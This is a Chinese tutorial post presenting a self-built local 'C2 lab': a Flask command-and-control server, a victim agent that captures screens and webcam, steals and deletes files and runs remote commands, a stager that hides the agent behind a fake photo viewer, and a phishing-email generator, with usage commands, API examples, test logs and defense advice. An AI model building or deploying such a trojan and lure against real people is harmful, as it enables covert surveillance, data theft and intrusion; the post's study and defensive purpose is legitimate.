当前位置:首页>python>Python本地 C2 攻击验证实验室

Python本地 C2 攻击验证实验室

  • 2026-10-11 07:01:11
Python本地 C2 攻击验证实验室

定位:本地安全学习靶场 —— 模拟「图片入侵 / 邮件入侵 → 受害者上线 → 服务器端可视化远程控制」的完整攻击链全部在本机完成:本机既当"受害者",又当"攻击者服务器"实测结果:3 台"受害机"成功上线,截图 / 磁盘列表 / 目录浏览 / 远程命令 / 图片投递上线全部验证通过


目录 


一、项目架构

┌─────────────────────────┐         ┌──────────────────────────┐│  攻击者服务器 (C2 Server) │         │   受害者电脑 (Agent)       ││  ─────────────────────── │         │  ──────────────────────── ││  Flask Web 控制台         │  HTTP   │  注册上线(IP/用户名/MAC)   ││  - 上线列表 Dashboard     │◄───────►│  心跳保活(每3秒)           ││  - 单机控制面板            │  JSON   │  任务拉取与执行             ││  - 任务调度/结果存储        │         │  截图/摄像头/文件/命令      ││  - 窃取文件落盘            │         │                          │└──────────┬──────────────┘         └──────────┬───────────────┘           │                                   │           │   投递阶段 (图片/邮件)              │ 受害者双击查看器           ▼                                   ▼┌─────────────────────────┐         ┌──────────────────────────┐│  投递包生成 (stager.py)   │────────►│  诱饵图片 + 伪装查看器     ││  钓鱼邮件 (fake_email.py) │         │  (后台静默启动 Agent)      │└─────────────────────────┘         └──────────────────────────┘

通信方式:Agent 主动连接 C2(HTTP + JSON),无反向连接、无端口监听——这就是真实木马的"回连"(C2 callback)模式。


二、目录结构

c2_lab/├── server/│   ├── c2_server.py           # C2 控制端服务器 (Flask)│   └── templates/│       ├── dashboard.html     # 受害者上线列表页面│       └── agent_panel.html   # 单台受害机控制面板├── agent/│   └── agent.py               # 受害者端木马 (注册/心跳/任务执行)├── attacker/│   ├── stager.py              # 图片入侵投递包生成器│   ├── fake_email.py          # 钓鱼邮件生成器│   └── delivery/              # 生成的投递包 (运行 stager 后出现)│       ├── xxx.png            # 诱饵图片│       ├── agent.py           # 木马本体│       └── xxx_查看器.pyw     # 受害者双击的入口├── data/                      # 运行时数据 (自动生成)│   ├── agents.json            # 上线列表存档│   ├── tasks.json             # 任务存档│   └── stolen/                # 从受害者窃取的文件└── requirements.txt

三、攻击链总览

┌──────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐│  1. 投递  │──►│ 2. 诱骗  │──►│ 3. 上线  │──►│ 4. 控制  │──►│ 5. 窃取  ││ 图片/邮件 │   │ 双击查看器 │   │ Agent注册 │   │ 远程操作  │   │ 数据落盘 │└──────────┘   └──────────┘   └──────────┘   └──────────┘   └──────────┘   stager.py    打开图片掩护    上报IP/用户名    截图/摄像头     图片/文件   fake_email   后台启动Agent   心跳保活        文件/命令       存入data/stolen
阶段
真实攻击中的行为
本实验的对应实现
投递
钓鱼邮件附件、恶意图片
stager.py
 生成投递包、fake_email.py 生成钓鱼邮件
诱骗
受害者双击"图片/文档"
.pyw
 伪装查看器:打开真图片掩护 + 后台启动 Agent
上线
木马回连 C2 服务器
Agent 注册上报 主机名/用户名/IP/MAC/PID,3 秒心跳
控制
攻击者远程操作
控制面板下发任务:截图/摄像头/屏幕/磁盘/文件/命令
窃取
数据回传
任务结果 base64 回传,文件落盘 data/stolen/

四、快速开始(3 步体验完整流程)

第 1 步:启动 C2 控制端

cd D:\yangshaoping\kiro-project\gr\2026\08\0812\c2_labpython server/c2_server.py

看到 Serving Flask app 即成功。浏览器打开 

http://127.0.0.1:5000/

 可看到空的上线列表。

第 2 步:启动受害者 Agent(多开模拟多台电脑)

# 终端 2 - 模拟"研发部张三的电脑"python agent/agent.py --id win-01 --name "研发部-张三的电脑"# 终端 3 - 模拟"财务部李四的电脑"python agent/agent.py --id win-02 --name "财务部-李四的电脑"

Agent 启动后自动注册上线,控制台会打印:

[+] 注册成功! agent_id=win-01 is_new=True    受害信息: yangshaoping.ex@YANGSHAOPING-EX IP=10.16.141.38 MAC=00-72-EE-18-76-12

第 3 步:体验图片入侵投递(最直观的攻击链演示)

# 终端 4 - 生成投递包python attacker/stager.py --name "IMG_20260812_团建照片"# 模拟受害者双击"查看器"(本地实际弹出图片窗口 + 后台上线)pythonw "attacker\delivery\IMG_20260812_团建照片_查看器.pyw"

回到 C2 控制台刷新,第三台"受害机"已自动上线——这就是完整的"图片入侵"链路。


五、详细操作步骤

5.1 启动 C2 控制端

cd D:\yangshaoping\kiro-project\gr\2026\08\0812\c2_labpython server/c2_server.py --port 5000

启动信息:

==============================================================  C2 控制端服务器 (本地安全学习)  控制台地址:  http://127.0.0.1:5000  数据目录:    D:\...\c2_lab\data  窃取文件:    D:\...\c2_lab\data\stolen==============================================================

5.2 启动受害者 Agent(可多开模拟多台电脑)

# 默认参数:连 127.0.0.1:5000,心跳 3 秒python agent/agent.py --id win-01 --name "研发部-张三的电脑"# 更多模拟:每多开一个终端,就多一台"受害机"python agent/agent.py --id win-02 --name "财务部-李四的电脑"python agent/agent.py --id win-03 --name "销售部-王五的电脑"# 自定义控制端地址(可模拟"异地受害机")python agent/agent.py --server http://192.168.x.x:5000 --id mac-01

Agent 上报的真实信息(本机实际采集):主机名、用户名、内网 IP、MAC 地址、操作系统、进程 PID。

5.3 浏览器查看上线列表(Dashboard)

打开

 **http://127.0.0.1:5000/**:
  • 顶部统计卡片:在线数 / 累计上线 / 已离线 / 已执行任务数
  • 上线表格:状态(绿点在线/红点离线)、备注名、Agent ID、用户名、主机名、IP、MAC、操作系统、首次上线时间、最后心跳、任务数
  • 每 5 秒自动刷新,点击「进入控制台」跳转单机面板

5.4 进入单台受害机控制面板

点击上线列表中的「进入控制台」→ 打开 

http://127.0.0.1:5000/agent/win-01

面板分三个功能区:

① 监控操作

按钮
对应任务
说明
📸 屏幕截图
screenshot
截取受害者当前屏幕,网页内直接预览
🖥 屏幕共享
screen_share
截取当前屏幕(模拟共享画面)
📹 打开摄像头
camera_open
远程开启受害者摄像头(持续模式)
⏹ 关闭摄像头
camera_close
关闭摄像头
📷 摄像头拍一帧
camera_frame
抓取实时画面
ℹ️ 采集系统信息
sysinfo
获取系统信息

截图/摄像头图片可点击「 保存到本地」下载到攻击者机器——演示数据窃取。

② 磁盘与文件操作

  1. 点击「💿 加载磁盘列表」→ 显示受害者所有盘符(实测:C:\、D:\)
  2. 输入目录路径(如 C:\Users\Public)→「📂 打开目录」→ 显示文件列表(名称/类型/大小)
  3. 每个文件行有操作按钮:
    • ⬇ 下载:文件内容 base64 回传,浏览器直接保存——文件窃取
    • 📋 复制:输入目标路径,在受害者机器上复制文件
    • 🗑 删除:二次确认后远程删除受害者文件

③ 远程命令执行

  • 输入任意命令执行(如 whoami、ipconfig、tasklist)
  • 快捷命令按钮:
    • whoami / ipconfig / systeminfo / tasklist(信息收集)
    • 🛑 10 秒后关机:shutdown /s /t 10
    • 🔄 10 秒后重启:shutdown /r /t 10
    • 🔒 注销当前用户:shutdown /l
    • ↩️ 取消关机:shutdown /a

⚠️ 关机/重启命令真实生效!测试时建议先执行 shutdown /a 取消,或用 --name 备注清楚的模拟机。

5.5 图片入侵投递演示

完整模拟"攻击者制作图片木马 → 受害者中招":

# 1. 生成投递包(诱饵图片 + 木马本体 + 伪装查看器)python attacker/stager.py --name "IMG_20260812_团建照片"# 生成的投递包在 attacker/delivery/ 目录:#   IMG_20260812_团建照片.png          <- 受害者看到的诱饵照片#   agent.py                           <- 木马本体#   IMG_20260812_团建照片_查看器.pyw   <- 受害者双击的入口# 2. 模拟"投递"到受害者下载目录copy attacker\delivery %USERPROFILE%\Downloads\# 3. 模拟受害者双击"查看器"(Windows 下无窗口运行)pythonw "%USERPROFILE%\Downloads\IMG_20260812_团建照片_查看器.pyw"

受害者视角的效果:

  1. 系统打开默认照片查看器显示诱饵图片(受害者以为只是看照片)
  2. 后台静默启动 agent.py(无窗口、无提示)
  3. 攻击者控制台出现新上线受害者,可开始远程控制

5.6 邮件入侵投递演示

# 生成钓鱼邮件并自动打开预览(模拟收件箱)python attacker/fake_email.py --to zhangsan@company.local

生成的 attacker/phishing_email.html 模拟一封「部门活动照片分享」邮件,正文引导收件人下载附件中的"照片查看器"——攻击链与 5.5 完全衔接。

真实攻击中,这封邮件会被群发到受害者邮箱;本地学习中它演示的是投递载体的构造方式。

5.7 远程执行命令(关机/重启演示)

# 在控制面板的命令输入框执行:ipconfig          # 查看受害者网络配置systeminfo        # 受害者完整系统信息tasklist          # 受害者进程列表shutdown /s /t 30 # 30 秒后关机(可用 shutdown /a 取消)

执行结果实时回显到页面,含退出码和 stdout/stderr。


六、API 接口说明

方法
路径
方向
说明
POST
/api/agent/register
Agent→C2
注册上线,上报主机名/用户名/IP/MAC/PID
POST
/api/agent/heartbeat
Agent→C2
心跳保活,同时拉取待执行任务
POST
/api/task/result
Agent→C2
回传任务执行结果(图片/文件 base64)
GET
/api/agents
前端→C2
获取上线列表(含在线状态)
GET
/api/agent/<id>
前端→C2
获取单台受害机信息
POST
/api/task/create
前端→C2
下发任务(截图/文件/命令等)
GET
/api/task/<id>
前端→C2
查询任务状态与结果(轮询)
GET
/
浏览器
上线列表 Dashboard
GET
/agent/<id>
浏览器
单台受害机控制面板

任务下发请求示例:

POST /api/task/create{"agent_id": "win-01","type": "exec_cmd","params": { "cmd": "whoami" }}

Agent 心跳请求示例:

POST /api/agent/heartbeat{ "agent_id": "win-01" }// 响应: { "status": "ok", "tasks": [{ "task_id": "...", "type": "screenshot", "params": {} }] }

七、任务类型说明

任务类型
参数
返回结果
对应操作
screenshot
无
base64 PNG
屏幕截图
screen_share
无
base64 PNG
屏幕共享(截帧)
camera_open
无
状态消息
打开摄像头
camera_close
无
状态消息
关闭摄像头
camera_frame
无
base64 PNG
摄像头实时帧
sysinfo
无
系统信息字典
信息收集
list_drives
无
盘符+容量列表
磁盘列表
list_filespath
目录条目列表
目录浏览
download_filepath
base64 文件内容
文件窃取
copy_filesrc
, dst
状态消息
文件复制
delete_filepath
状态消息
文件删除
exec_cmdcmd
stdout/stderr/exit_code
远程命令

八、实测验证记录

测试时间:2026-08-12 | 环境:Windows 11 / Python 3.13 / Flask 3.x / Pillow 12.3

8.1 上线验证(3 台"受害机")

Agent ID
备注名
用户名@主机名
IP
MAC
状态
win-01
研发部-张三的电脑
yangshaoping.ex@YANGSHAOPING-EX
10.16.141.38
00-72-EE-18-76-12
✅ 在线
win-02
财务部-李四的电脑
yangshaoping.ex@YANGSHAOPING-EX
10.16.141.38
00-72-EE-18-76-12
✅ 在线
94f776bd
IMG_20260812_团建照片(图片投递触发)
同上
同上
同上
✅ 在线

8.2 任务执行验证

任务
目标
结果
screenshot
win-01
✅ 返回真实截屏,base64 长度 384,992
list_drives
win-01
✅ ['C:\\', 'D:\\']
exec_cmd whoami
win-02
✅ 输出 hisense\yangshaoping.ex,exit=0
list_files C:\Users\Public
win-01
✅ 9 个条目(AccountPictures/Desktop/Documents...)
图片投递包双击
本地
✅ 弹窗显示诱饵图片 + Agent 静默上线

8.3 攻击链完整闭环

生成投递包(stager.py) → 双击查看器 → 显示图片+后台上线→ C2 列表出现新受害者 → 下发截图/命令 → 结果回传并展示

九、代码文件详解

9.1 server/c2_server.py — C2 控制端

模块
说明
api_agent_register()
受害者注册上线,首次注册创建记录,重复注册刷新心跳
api_agent_heartbeat()
心跳 + 任务拉取(返回该 Agent 所有 pending 任务)
api_task_result()
接收任务结果;含 base64 的文件自动落盘到 data/stolen/
api_create_task()
下发任务到指定 Agent(写入 tasks 字典,Agent 下次心跳时取走)
heartbeat_checker()
后台线程,每 5 秒巡检心跳,超 15 秒未心跳标记离线
数据持久化
agents.json
 / tasks.json 自动存档,重启不丢数据

9.2 agent/agent.py — 受害者端

模块
说明
get_system_info()
采集主机名/用户名/IP(UDP 技巧)/MAC
register()
启动时向 C2 注册上线
主循环
每 3 秒心跳 → 拉任务 → execute_task() 执行 → 回传结果
TASK_HANDLERS
12 种任务的处理函数映射表(截图/摄像头/文件/命令)
无窗口运行
配合 pythonw.exe 实现静默后台运行

9.3 attacker/stager.py — 图片投递包生成器

  • 用 Pillow 绘制诱饵风景图(模拟"照片")
  • 复制 agent.py 作为木马本体
  • 生成 .pyw 伪装查看器:打开诱饵图片掩护 + 后台启动 Agent
  • 输出完整的模拟投递命令

9.4 attacker/fake_email.py — 钓鱼邮件生成器

  • 生成仿「部门照片分享」的 HTML 钓鱼邮件
  • 引导受害者下载附件中的"照片查看器"
  • 自动用浏览器打开预览,演示收件箱效果

十、防御与检测建议

学习完攻击过程,思考如何防御这种攻击:

攻击环节
防御措施
投递(邮件/图片)
邮件网关沙箱检测、附件白名单、禁用可执行附件
诱骗(伪装查看器)
用户安全意识培训、显示文件扩展名、图标校验
上线(回连 C2)
出口防火墙白名单、DNS 监控异常域名、EDR 检测异常进程
控制(远程操作)
摄像头指示灯提示、系统完整性监控、敏感操作审批
窃取(数据回传)
数据防泄漏(DLP)、异常大流量监控、文件访问审计
通用
最小权限原则、端点隔离、杀软/EDR 实时防护、补丁管理

检测线索:无窗口运行的 pythonw 进程、异常的 3 秒 HTTP 心跳、data/stolen/ 目录的图片文件、监听 5000 端口的进程。


十一、常见问题排查

问题
原因
解决
Agent 提示"注册失败"
C2 未启动
先运行 python server/c2_server.py
截图显示占位图
受害者未装 Pillow
pip install Pillow
摄像头返回错误
未装 opencv 或无摄像头
pip install opencv-python
 或忽略(不影响其他功能)
端口 5000 被占用
已有服务
python server/c2_server.py --port 6000
,Agent 用 --server http://127.0.0.1:6000
面板看不到受害者
Agent 未启动/已离线
启动 Agent 并等待 5 秒自动刷新
任务一直"等待执行"
Agent 心跳间隔未到
默认 3 秒,稍等即可
pythonw 双击无反应
控制端未启动
Agent 会后台重试注册,启动 C2 后自动上线

十二、安全声明

⚠️ 重要法律与道德提醒

  1. 本套件仅用于本地安全学习、授权测试与攻防研究,代码全部绑定 127.0.0.1;
  2. 严禁对未经授权的系统、他人设备、公网目标使用本套件或其中任何代码;
  3. 未经授权对计算机系统进行渗透测试可能构成 《刑法》第 285/286 条(非法侵入/破坏计算机信息系统罪);
  4. 远程关机/重启命令真实生效,请只在本人测试机上验证;
  5. 学习完成后建议删除 data/stolen/ 中的证据文件、attacker/delivery/ 投递包;
  6. 真实木马通常使用加密通信(HTTPS/TLS)、域前置、进程注入等技术,本实验为教学简化版; 

最新文章

随机文章